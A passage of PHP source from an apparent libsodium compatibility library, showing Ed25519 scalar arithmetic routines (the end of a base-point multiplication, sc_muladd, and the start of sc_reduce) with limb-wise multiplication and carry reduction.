        /** @var array<int, int> $e */
        $e = array();
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1();

        for ($i = 0; $i < 32; ++$i) {
            $dbl = (int) $i << 1;
            $e[$dbl] = (int) self::chrToInt($a[$i]) & 15;
            $e[$dbl + 1] = (int) (self::chrToInt($a[$i]) >> 4) & 15;
        }

        $carry = 0;
        for ($i = 0; $i < 63; ++$i) {
            $e[$i] += $carry;
            $carry = $e[$i] + 8;
            $carry >>= 4;
            $e[$i] -= $carry << 4;
        }
        $e[63] += (int) $carry;

        $h = self::ge_p3_0();

        for ($i = 1; $i < 64; $i += 2) {
            $t = self::ge_select((int) floor($i / 2), (int) $e[$i]);
            $r = self::ge_madd($r, $h, $t);
            $h = self::ge_p1p1_to_p3($r);
        }

        $r = self::ge_p3_dbl($h);

        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);
        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);
        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);

        $h = self::ge_p1p1_to_p3($r);

        for ($i = 0; $i < 64; $i += 2) {
            $t = self::ge_select($i >> 1, (int) $e[$i]);
            $r = self::ge_madd($r, $h, $t);
            $h = self::ge_p1p1_to_p3($r);
        }
        return $h;
    }

    /**
     * Calculates (ab + c) mod l
     * where l = 2^252 + 27742317777372353535851937790883648493
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @param string $c
     * @return string
     * @throws TypeError
     */
    public static function sc_muladd($a, $b, $c)
    {
        $a0 = 2097151 & self::load_3(self::substr($a, 0, 3));
        $a1 = 2097151 & (self::load_4(self::substr($a, 2, 4)) >> 5);
        $a2 = 2097151 & (self::load_3(self::substr($a, 5, 3)) >> 2);
        $a3 = 2097151 & (self::load_4(self::substr($a, 7, 4)) >> 7);
        $a4 = 2097151 & (self::load_4(self::substr($a, 10, 4)) >> 4);
        $a5 = 2097151 & (self::load_3(self::substr($a, 13, 3)) >> 1);
        $a6 = 2097151 & (self::load_4(self::substr($a, 15, 4)) >> 6);
        $a7 = 2097151 & (self::load_3(self::substr($a, 18, 3)) >> 3);
        $a8 = 2097151 & self::load_3(self::substr($a, 21, 3));
        $a9 = 2097151 & (self::load_4(self::substr($a, 23, 4)) >> 5);
        $a10 = 2097151 & (self::load_3(self::substr($a, 26, 3)) >> 2);
        $a11 = (self::load_4(self::substr($a, 28, 4)) >> 7);

        $b0 = 2097151 & self::load_3(self::substr($b, 0, 3));
        $b1 = 2097151 & (self::load_4(self::substr($b, 2, 4)) >> 5);
        $b2 = 2097151 & (self::load_3(self::substr($b, 5, 3)) >> 2);
        $b3 = 2097151 & (self::load_4(self::substr($b, 7, 4)) >> 7);
        $b4 = 2097151 & (self::load_4(self::substr($b, 10, 4)) >> 4);
        $b5 = 2097151 & (self::load_3(self::substr($b, 13, 3)) >> 1);
        $b6 = 2097151 & (self::load_4(self::substr($b, 15, 4)) >> 6);
        $b7 = 2097151 & (self::load_3(self::substr($b, 18, 3)) >> 3);
        $b8 = 2097151 & self::load_3(self::substr($b, 21, 3));
        $b9 = 2097151 & (self::load_4(self::substr($b, 23, 4)) >> 5);
        $b10 = 2097151 & (self::load_3(self::substr($b, 26, 3)) >> 2);
        $b11 = (self::load_4(self::substr($b, 28, 4)) >> 7);

        $c0 = 2097151 & self::load_3(self::substr($c, 0, 3));
        $c1 = 2097151 & (self::load_4(self::substr($c, 2, 4)) >> 5);
        $c2 = 2097151 & (self::load_3(self::substr($c, 5, 3)) >> 2);
        $c3 = 2097151 & (self::load_4(self::substr($c, 7, 4)) >> 7);
        $c4 = 2097151 & (self::load_4(self::substr($c, 10, 4)) >> 4);
        $c5 = 2097151 & (self::load_3(self::substr($c, 13, 3)) >> 1);
        $c6 = 2097151 & (self::load_4(self::substr($c, 15, 4)) >> 6);
        $c7 = 2097151 & (self::load_3(self::substr($c, 18, 3)) >> 3);
        $c8 = 2097151 & self::load_3(self::substr($c, 21, 3));
        $c9 = 2097151 & (self::load_4(self::substr($c, 23, 4)) >> 5);
        $c10 = 2097151 & (self::load_3(self::substr($c, 26, 3)) >> 2);
        $c11 = (self::load_4(self::substr($c, 28, 4)) >> 7);

        /* Can't really avoid the pyramid here: */
        $s0 = $c0 + self::mul($a0, $b0, 24);
        $s1 = $c1 + self::mul($a0, $b1, 24) + self::mul($a1, $b0, 24);
        $s2 = $c2 + self::mul($a0, $b2, 24) + self::mul($a1, $b1, 24) + self::mul($a2, $b0, 24);
        $s3 = $c3 + self::mul($a0, $b3, 24) + self::mul($a1, $b2, 24) + self::mul($a2, $b1, 24) + self::mul($a3, $b0, 24);
        $s4 = $c4 + self::mul($a0, $b4, 24) + self::mul($a1, $b3, 24) + self::mul($a2, $b2, 24) + self::mul($a3, $b1, 24) +
               self::mul($a4, $b0, 24);
        $s5 = $c5 + self::mul($a0, $b5, 24) + self::mul($a1, $b4, 24) + self::mul($a2, $b3, 24) + self::mul($a3, $b2, 24) +
               self::mul($a4, $b1, 24) + self::mul($a5, $b0, 24);
        $s6 = $c6 + self::mul($a0, $b6, 24) + self::mul($a1, $b5, 24) + self::mul($a2, $b4, 24) + self::mul($a3, $b3, 24) +
               self::mul($a4, $b2, 24) + self::mul($a5, $b1, 24) + self::mul($a6, $b0, 24);
        $s7 = $c7 + self::mul($a0, $b7, 24) + self::mul($a1, $b6, 24) + self::mul($a2, $b5, 24) + self::mul($a3, $b4, 24) +
               self::mul($a4, $b3, 24) + self::mul($a5, $b2, 24) + self::mul($a6, $b1, 24) + self::mul($a7, $b0, 24);
        $s8 = $c8 + self::mul($a0, $b8, 24) + self::mul($a1, $b7, 24) + self::mul($a2, $b6, 24) + self::mul($a3, $b5, 24) +
               self::mul($a4, $b4, 24) + self::mul($a5, $b3, 24) + self::mul($a6, $b2, 24) + self::mul($a7, $b1, 24) +
               self::mul($a8, $b0, 24);
        $s9 = $c9 + self::mul($a0, $b9, 24) + self::mul($a1, $b8, 24) + self::mul($a2, $b7, 24) + self::mul($a3, $b6, 24) +
               self::mul($a4, $b5, 24) + self::mul($a5, $b4, 24) + self::mul($a6, $b3, 24) + self::mul($a7, $b2, 24) +
               self::mul($a8, $b1, 24) + self::mul($a9, $b0, 24);
        $s10 = $c10 + self::mul($a0, $b10, 24) + self::mul($a1, $b9, 24) + self::mul($a2, $b8, 24) + self::mul($a3, $b7, 24) +
               self::mul($a4, $b6, 24) + self::mul($a5, $b5, 24) + self::mul($a6, $b4, 24) + self::mul($a7, $b3, 24) +
               self::mul($a8, $b2, 24) + self::mul($a9, $b1, 24) + self::mul($a10, $b0, 24);
        $s11 = $c11 + self::mul($a0, $b11, 24) + self::mul($a1, $b10, 24) + self::mul($a2, $b9, 24) + self::mul($a3, $b8, 24) +
               self::mul($a4, $b7, 24) + self::mul($a5, $b6, 24) + self::mul($a6, $b5, 24) + self::mul($a7, $b4, 24) +
               self::mul($a8, $b3, 24) + self::mul($a9, $b2, 24) + self::mul($a10, $b1, 24) + self::mul($a11, $b0, 24);
        $s12 = self::mul($a1, $b11, 24) + self::mul($a2, $b10, 24) + self::mul($a3, $b9, 24) + self::mul($a4, $b8, 24) +
               self::mul($a5, $b7, 24) + self::mul($a6, $b6, 24) + self::mul($a7, $b5, 24) + self::mul($a8, $b4, 24) +
               self::mul($a9, $b3, 24) + self::mul($a10, $b2, 24) + self::mul($a11, $b1, 24);
        $s13 = self::mul($a2, $b11, 24) + self::mul($a3, $b10, 24) + self::mul($a4, $b9, 24) + self::mul($a5, $b8, 24) +
               self::mul($a6, $b7, 24) + self::mul($a7, $b6, 24) + self::mul($a8, $b5, 24) + self::mul($a9, $b4, 24) +
               self::mul($a10, $b3, 24) + self::mul($a11, $b2, 24);
        $s14 = self::mul($a3, $b11, 24) + self::mul($a4, $b10, 24) + self::mul($a5, $b9, 24) + self::mul($a6, $b8, 24) +
               self::mul($a7, $b7, 24) + self::mul($a8, $b6, 24) + self::mul($a9, $b5, 24) + self::mul($a10, $b4, 24) +
               self::mul($a11, $b3, 24);
        $s15 = self::mul($a4, $b11, 24) + self::mul($a5, $b10, 24) + self::mul($a6, $b9, 24) + self::mul($a7, $b8, 24) +
               self::mul($a8, $b7, 24) + self::mul($a9, $b6, 24) + self::mul($a10, $b5, 24) + self::mul($a11, $b4, 24);
        $s16 = self::mul($a5, $b11, 24) + self::mul($a6, $b10, 24) + self::mul($a7, $b9, 24) + self::mul($a8, $b8, 24) +
               self::mul($a9, $b7, 24) + self::mul($a10, $b6, 24) + self::mul($a11, $b5, 24);
        $s17 = self::mul($a6, $b11, 24) + self::mul($a7, $b10, 24) + self::mul($a8, $b9, 24) + self::mul($a9, $b8, 24) +
               self::mul($a10, $b7, 24) + self::mul($a11, $b6, 24);
        $s18 = self::mul($a7, $b11, 24) + self::mul($a8, $b10, 24) + self::mul($a9, $b9, 24) + self::mul($a10, $b8, 24) +
               self::mul($a11, $b7, 24);
        $s19 = self::mul($a8, $b11, 24) + self::mul($a9, $b10, 24) + self::mul($a10, $b9, 24) + self::mul($a11, $b8, 24);
        $s20 = self::mul($a9, $b11, 24) + self::mul($a10, $b10, 24) + self::mul($a11, $b9, 24);
        $s21 = self::mul($a10, $b11, 24) + self::mul($a11, $b10, 24);
        $s22 = self::mul($a11, $b11, 24);
        $s23 = 0;

        $carry0 = ($s0 + (1 << 20)) >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        $carry2 = ($s2 + (1 << 20)) >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        $carry4 = ($s4 + (1 << 20)) >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        $carry12 = ($s12 + (1 << 20)) >> 21;
        $s13 += $carry12;
        $s12 -= $carry12 << 21;
        $carry14 = ($s14 + (1 << 20)) >> 21;
        $s15 += $carry14;
        $s14 -= $carry14 << 21;
        $carry16 = ($s16 + (1 << 20)) >> 21;
        $s17 += $carry16;
        $s16 -= $carry16 << 21;
        $carry18 = ($s18 + (1 << 20)) >> 21;
        $s19 += $carry18;
        $s18 -= $carry18 << 21;
        $carry20 = ($s20 + (1 << 20)) >> 21;
        $s21 += $carry20;
        $s20 -= $carry20 << 21;
        $carry22 = ($s22 + (1 << 20)) >> 21;
        $s23 += $carry22;
        $s22 -= $carry22 << 21;

        $carry1 = ($s1 + (1 << 20)) >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        $carry3 = ($s3 + (1 << 20)) >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        $carry5 = ($s5 + (1 << 20)) >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;
        $carry13 = ($s13 + (1 << 20)) >> 21;
        $s14 += $carry13;
        $s13 -= $carry13 << 21;
        $carry15 = ($s15 + (1 << 20)) >> 21;
        $s16 += $carry15;
        $s15 -= $carry15 << 21;
        $carry17 = ($s17 + (1 << 20)) >> 21;
        $s18 += $carry17;
        $s17 -= $carry17 << 21;
        $carry19 = ($s19 + (1 << 20)) >> 21;
        $s20 += $carry19;
        $s19 -= $carry19 << 21;
        $carry21 = ($s21 + (1 << 20)) >> 21;
        $s22 += $carry21;
        $s21 -= $carry21 << 21;

        $s11 += self::mul($s23, 666643, 20);
        $s12 += self::mul($s23, 470296, 19);
        $s13 += self::mul($s23, 654183, 20);
        $s14 -= self::mul($s23, 997805, 20);
        $s15 += self::mul($s23, 136657, 18);
        $s16 -= self::mul($s23, 683901, 20);

        $s10 += self::mul($s22, 666643, 20);
        $s11 += self::mul($s22, 470296, 19);
        $s12 += self::mul($s22, 654183, 20);
        $s13 -= self::mul($s22, 997805, 20);
        $s14 += self::mul($s22, 136657, 18);
        $s15 -= self::mul($s22, 683901, 20);

        $s9  += self::mul($s21,  666643, 20);
        $s10 += self::mul($s21,  470296, 19);
        $s11 += self::mul($s21,  654183, 20);
        $s12 -= self::mul($s21,  997805, 20);
        $s13 += self::mul($s21,  136657, 18);
        $s14 -= self::mul($s21,  683901, 20);

        $s8  += self::mul($s20,  666643, 20);
        $s9  += self::mul($s20,  470296, 19);
        $s10 += self::mul($s20,  654183, 20);
        $s11 -= self::mul($s20,  997805, 20);
        $s12 += self::mul($s20,  136657, 18);
        $s13 -= self::mul($s20,  683901, 20);

        $s7  += self::mul($s19,  666643, 20);
        $s8  += self::mul($s19,  470296, 19);
        $s9  += self::mul($s19,  654183, 20);
        $s10 -= self::mul($s19,  997805, 20);
        $s11 += self::mul($s19,  136657, 18);
        $s12 -= self::mul($s19,  683901, 20);

        $s6  += self::mul($s18,  666643, 20);
        $s7  += self::mul($s18,  470296, 19);
        $s8  += self::mul($s18,  654183, 20);
        $s9  -= self::mul($s18,  997805, 20);
        $s10 += self::mul($s18,  136657, 18);
        $s11 -= self::mul($s18,  683901, 20);

        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        $carry12 = ($s12 + (1 << 20)) >> 21;
        $s13 += $carry12;
        $s12 -= $carry12 << 21;
        $carry14 = ($s14 + (1 << 20)) >> 21;
        $s15 += $carry14;
        $s14 -= $carry14 << 21;
        $carry16 = ($s16 + (1 << 20)) >> 21;
        $s17 += $carry16;
        $s16 -= $carry16 << 21;

        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;
        $carry13 = ($s13 + (1 << 20)) >> 21;
        $s14 += $carry13;
        $s13 -= $carry13 << 21;
        $carry15 = ($s15 + (1 << 20)) >> 21;
        $s16 += $carry15;
        $s15 -= $carry15 << 21;

        $s5  += self::mul($s17,  666643, 20);
        $s6  += self::mul($s17,  470296, 19);
        $s7  += self::mul($s17,  654183, 20);
        $s8  -= self::mul($s17,  997805, 20);
        $s9  += self::mul($s17,  136657, 18);
        $s10 -= self::mul($s17,  683901, 20);

        $s4 += self::mul($s16,  666643, 20);
        $s5 += self::mul($s16,  470296, 19);
        $s6 += self::mul($s16,  654183, 20);
        $s7 -= self::mul($s16,  997805, 20);
        $s8 += self::mul($s16,  136657, 18);
        $s9 -= self::mul($s16,  683901, 20);

        $s3 += self::mul($s15,  666643, 20);
        $s4 += self::mul($s15,  470296, 19);
        $s5 += self::mul($s15,  654183, 20);
        $s6 -= self::mul($s15,  997805, 20);
        $s7 += self::mul($s15,  136657, 18);
        $s8 -= self::mul($s15,  683901, 20);

        $s2 += self::mul($s14,  666643, 20);
        $s3 += self::mul($s14,  470296, 19);
        $s4 += self::mul($s14,  654183, 20);
        $s5 -= self::mul($s14,  997805, 20);
        $s6 += self::mul($s14,  136657, 18);
        $s7 -= self::mul($s14,  683901, 20);

        $s1 += self::mul($s13,  666643, 20);
        $s2 += self::mul($s13,  470296, 19);
        $s3 += self::mul($s13,  654183, 20);
        $s4 -= self::mul($s13,  997805, 20);
        $s5 += self::mul($s13,  136657, 18);
        $s6 -= self::mul($s13,  683901, 20);

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);
        $s12 = 0;

        $carry0 = ($s0 + (1 << 20)) >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        $carry2 = ($s2 + (1 << 20)) >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        $carry4 = ($s4 + (1 << 20)) >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        $carry1 = ($s1 + (1 << 20)) >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        $carry3 = ($s3 + (1 << 20)) >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        $carry5 = ($s5 + (1 << 20)) >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);
        $s12 = 0;

        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        $carry11 = $s11 >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);

        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        /**
         * @var array<int, int>
         */
        $arr = array(
            (int) (0xff & ($s0 >> 0)),
            (int) (0xff & ($s0 >> 8)),
            (int) (0xff & (($s0 >> 16) | $s1 << 5)),
            (int) (0xff & ($s1 >> 3)),
            (int) (0xff & ($s1 >> 11)),
            (int) (0xff & (($s1 >> 19) | $s2 << 2)),
            (int) (0xff & ($s2 >> 6)),
            (int) (0xff & (($s2 >> 14) | $s3 << 7)),
            (int) (0xff & ($s3 >> 1)),
            (int) (0xff & ($s3 >> 9)),
            (int) (0xff & (($s3 >> 17) | $s4 << 4)),
            (int) (0xff & ($s4 >> 4)),
            (int) (0xff & ($s4 >> 12)),
            (int) (0xff & (($s4 >> 20) | $s5 << 1)),
            (int) (0xff & ($s5 >> 7)),
            (int) (0xff & (($s5 >> 15) | $s6 << 6)),
            (int) (0xff & ($s6 >> 2)),
            (int) (0xff & ($s6 >> 10)),
            (int) (0xff & (($s6 >> 18) | $s7 << 3)),
            (int) (0xff & ($s7 >> 5)),
            (int) (0xff & ($s7 >> 13)),
            (int) (0xff & ($s8 >> 0)),
            (int) (0xff & ($s8 >> 8)),
            (int) (0xff & (($s8 >> 16) | $s9 << 5)),
            (int) (0xff & ($s9 >> 3)),
            (int) (0xff & ($s9 >> 11)),
            (int) (0xff & (($s9 >> 19) | $s10 << 2)),
            (int) (0xff & ($s10 >> 6)),
            (int) (0xff & (($s10 >> 14) | $s11 << 7)),
            (int) (0xff & ($s11 >> 1)),
            (int) (0xff & ($s11 >> 9)),
            0xff & ($s11 >> 17)
        );
        return self::intArrayToString($arr);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return string
     * @throws TypeError
     */
    public static function sc_reduce($s)
    {
        $s0 = 2097151 & self::load_3(self::substr($s, 0, 3));
        $s1 = 2097151 & (self::load_4(self::substr($s, 2, 4)) >> 5);
        $s2 = 2097151 & (self::load_3(self::substr($s, 5, 3)) >> 2);
        $s3 = 2097151 & (self::load_4(self::substr($s, 7, 4)) >> 7);
        $s4 = 2097151 & (self::load_4(self::substr($s, 10, 4)) >> 4);
        $s5 = 2097151 & (self::load_3(self::substr($s, 13, 3)) >> 1);
        $s6 = 2097151 & (self::load_4(self::substr($s, 15, 4)) >> 6);
        $s7 = 2097151 & (self::load_3(self::substr($s, 18, 4)) >> 3);
        $s8 = 2097151 & self::load_3(self::substr($s, 21, 3));
        $s9 = 2097151 & (self::load_4(self::substr($s, 23, 4)) >> 5);
        $s10 = 2097151 & (self::load_3(self::substr($s, 26, 3)) >> 2);
        $s11 = 2097151 & (self::load_4(self::substr($s, 28, 4)) >> 7);
        $s12 = 2097151 & (self::load_4(self::substr($s, 31, 4)) >> 4);
        $s13 = 2097151 & (self::load_3(self::substr($s, 34, 3)) >> 1);
        $s14 = 2097151 & (self::load_4(self::substr($s, 36, 4)) >> 6);
        $s15 = 2097151 & (self::load_3(self::substr($s, 39, 4)) >> 3);
        $s16 = 2097151 & self::load_3(self::substr($s, 42, 3));
        $s17 = 2097151 & (self::load_4(self::substr($s, 44, 4)) >> 5);
        $s18 = 2097151 & (self::load_3(self::substr($s, 47, 3)) >> 2);
        $s19 = 2097151 & (self::load_4(self::substr($s, 49, 4)) >> 7);
        $s20 = 2097151 & (self::load_4(self::substr($s, 52, 4)) >> 4);
        $s21 = 2097151 & (self::load_3(self::substr($s, 55, 3)) >> 1);
        $s22 = 2097151 & (self::load_4(self::substr($s, 57, 4)) >> 6);
        $s23 = 0x1fffffff & (self::load_4(self::substr($s, 60, 4)) >> 3);

        $s11 += self::mul($s23,  666643, 20);
        $s12 += self::mul($s23,  470296, 19);
        $s13 += self::mul($s23,  654183, 20);
        $s14 -= self::mul($s23,  997805, 20);
        $s15 += self::mul($s23,  136657, 18);
        $s16 -= self::mul($s23,  683901, 20);

        $s10 += self::mul($s22,  666643, 20);
        $s11 += self::mul($s22,  470296, 19);
        $s12 += self::mul($s22,  654183, 20);
        $s13 -= self::mul($s22,  997805, 20);
        $s14 += self::mul($s22,  136657, 18);
        $s15 -= self::mul($s22,  683901, 20);

        $s9  += self::mul($s21,  666643, 20);
        $s10 += self::mul($s21,  470296, 19);
        $s11 += self::mul($s21,  654183, 20);
        $s12 -= self::mul($s21,  997805, 20);
        $s13 += self::mul($s21,  136657, 18);
        $s14 -= self::mul($s21,  683901, 20);

        $s8  += self::mul($s20,  666643, 20);
        $s9  += self::mul($s20,  470296, 19);
        $s10 += self::mul($s20,  654183, 20);
        $s11 -= self::mul($s20,  997805, 20);
        $s12 += self::mul($s20,  136657, 18);
        $s13 -= self::mul($s20,  683901, 20);

        $s7  += self::mul($s19,  666643, 20);
        $s8  += self::mul($s19,  470296, 19);
        $s9  += self::mul($s19,  654183, 20);
        $s10 -= self::mul($s19,  997805, 20);
        $s11 += self::mul($s19,  136657, 18);
        $s12 -= self::mul($s19,  683901, 20);

        $s6  += self::mul($s18,  666643, 20);
        $s7  += self::mul($s18,  470296, 19);
        $s8  += self::mul($s18,  654183, 20);
        $s9  -= self::mul($s18,  997805, 20);
        $s10 += self::mul($s18,  136657, 18);
        $s11 -= self::mul($s18,  683901, 20);

        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        $carry12 = ($s12 + (1 << 20)) >> 21;
        $s13 += $carry12;
        $s12 -= $carry12 << 21;
        $carry14 = ($s14 + (1 << 20)) >> 21;
        $s15 += $carry14;
        $s14 -= $carry14 << 21;
        $carry16 = ($s16 + (1 << 20)) >> 21;
        $s17 += $carry16;
        $s16 -= $carry16 << 21;

        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;
        $carry13 = ($s13 + (1 << 20)) >> 21;
        $s14 += $carry13;
        $s13 -= $carry13 << 21;
        $carry15 = ($s15 + (1 << 20)) >> 21;
        $s16 += $carry15;
        $s15 -= $carry15 << 21;

        $s5  += self::mul($s17,  666643, 20);
        $s6  += self::mul($s17,  470296, 19);
        $s7  += self::mul($s17,  654183, 20);
        $s8  -= self::mul($s17,  997805, 20);
        $s9  += self::mul($s17,  136657, 18);
        $s10 -= self::mul($s17,  683901, 20);

        $s4 += self::mul($s16,  666643, 20);
        $s5 += self::mul($s16,  470296, 19);
        $s6 += self::mul($s16,  654183, 20);
        $s7 -= self::mul($s16,  997805, 20);
        $s8 += self::mul($s16,  136657, 18);
        $s9 -= self::mul($s16,  683901, 20);

        $s3 += self::mul($s15,  666643, 20);
        $s4 += self::mul($s15,  470296, 19);
        $s5 += self::mul($s15,  654183, 20);
        $s6 -= self::mul($s15,  997805, 20);
        $s7 += self::mul($s15,  136657, 18);
        $s8 -= self::mul($s15,  683901, 20);

        $s2 += self::mul($s14,  666643, 20);
        $s3 += self::mul($s14,  470296, 19);
        $s4 += self::mul($s14,  654183, 20);
        $s5 -= self::mul($s14,  997805, 20);
        $s6 += self::mul($s14,  136657, 18);
        $s7 -= self::mul($s14,  683901, 20);

        $s1 += self::mul($s13,  666643, 20);
        $s2 += self::mul($s13,  470296, 19);
        $s3 += self::mul($s13,  654183, 20);
        $s4 -= self::mul($s13,  997805, 20);
        $s5 += self::mul($s13,  136657, 18);
        $s6 -= self::mul($s13,  683901, 20);

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);
        $s12 = 0;

        $carry0 = ($s0 + (1 << 20)) >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        $carry2 = ($s2 + (1 << 20)) >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        $carry4 = ($s4 + (1 << 20)) >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        $carry1 = ($s1 + (1 << 20)) >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        $carry3 = ($s3 + (1 << 20)) >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        $carry5 = ($s5 + (1 << 20)) >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
